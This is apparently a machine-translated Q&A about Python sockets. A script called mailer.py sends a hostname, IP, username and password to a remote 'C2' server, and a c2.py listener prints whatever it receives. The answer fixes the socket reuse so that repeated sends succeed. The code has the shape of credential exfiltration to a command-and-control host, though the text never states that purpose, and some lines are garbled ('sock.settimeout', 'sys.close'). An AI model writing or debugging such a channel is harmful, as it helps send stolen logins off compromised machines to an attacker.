Python接收器不会接受每个客户端超过1条消息
问题描述:
我写这个的目的是发送在一台服务器上收集的数据发送到外部服务器。这个问题似乎与c2.py一样,因为mailer.py在发送数据时没有问题,但c2.py将只输出1个从唯一IP发送给它的消息。Python接收器不会接受每个客户端超过1条消息
mailer.py(将数据发送到c2.py坐在另一台服务器上)
C2 = "C2 SERVER"
C2PORT = 8989
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.settimeout(10)
def send(ip, usr, pw):
try:
try:
s.connect((C2, C2PORT))
s.send(socket.gethostname() + " ---> " + ip + " " + usr + " " + pw)
print "sent"
except socket.error, ex:
print ex
except KeyboardInterrupt:
s.close()
sys.close()
c2.py(侦听坐在另一台服务器上)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('',8989))
s.listen(10)
def nodeRecv():
while 1:
try:
conn, addr = s.accept()
conn.settimeout(10)
print conn.recv(65000)
conn.close()
print "1"
except socket.error, ex:
conn.close()
print ex
if __name__ == "__main__":
print "Connected to localhost:8989"
print "Listening for nodes..."
nodeRecv()
答
不能重新打开在收到所有发生错误的数据后,同一个套接字和您的服务器正在关闭连接(conn.close()
)。移动s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
到函数,并打开一个新的socket:
import socket
from time import sleep
C2 = 'localhost'
C2PORT = 8989
def send(ip, usr, pw):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.connect((C2, C2PORT))
s.send(socket.gethostname() + " ---> " + ip + " " + usr + " " + pw)
print "sent"
sleep(5)
except KeyboardInterrupt:
return False
finally:
s.close()
for i in ['z', 'x', 'y']:
send(i, i, i)
欲了解更多信息,请阅读此Question。
看看这个答案 - https://stackoverflow.com/questions/15958026/getting-errno-9-bad-file-descriptor-in-python-socket,应该解决你的困境。 – droravr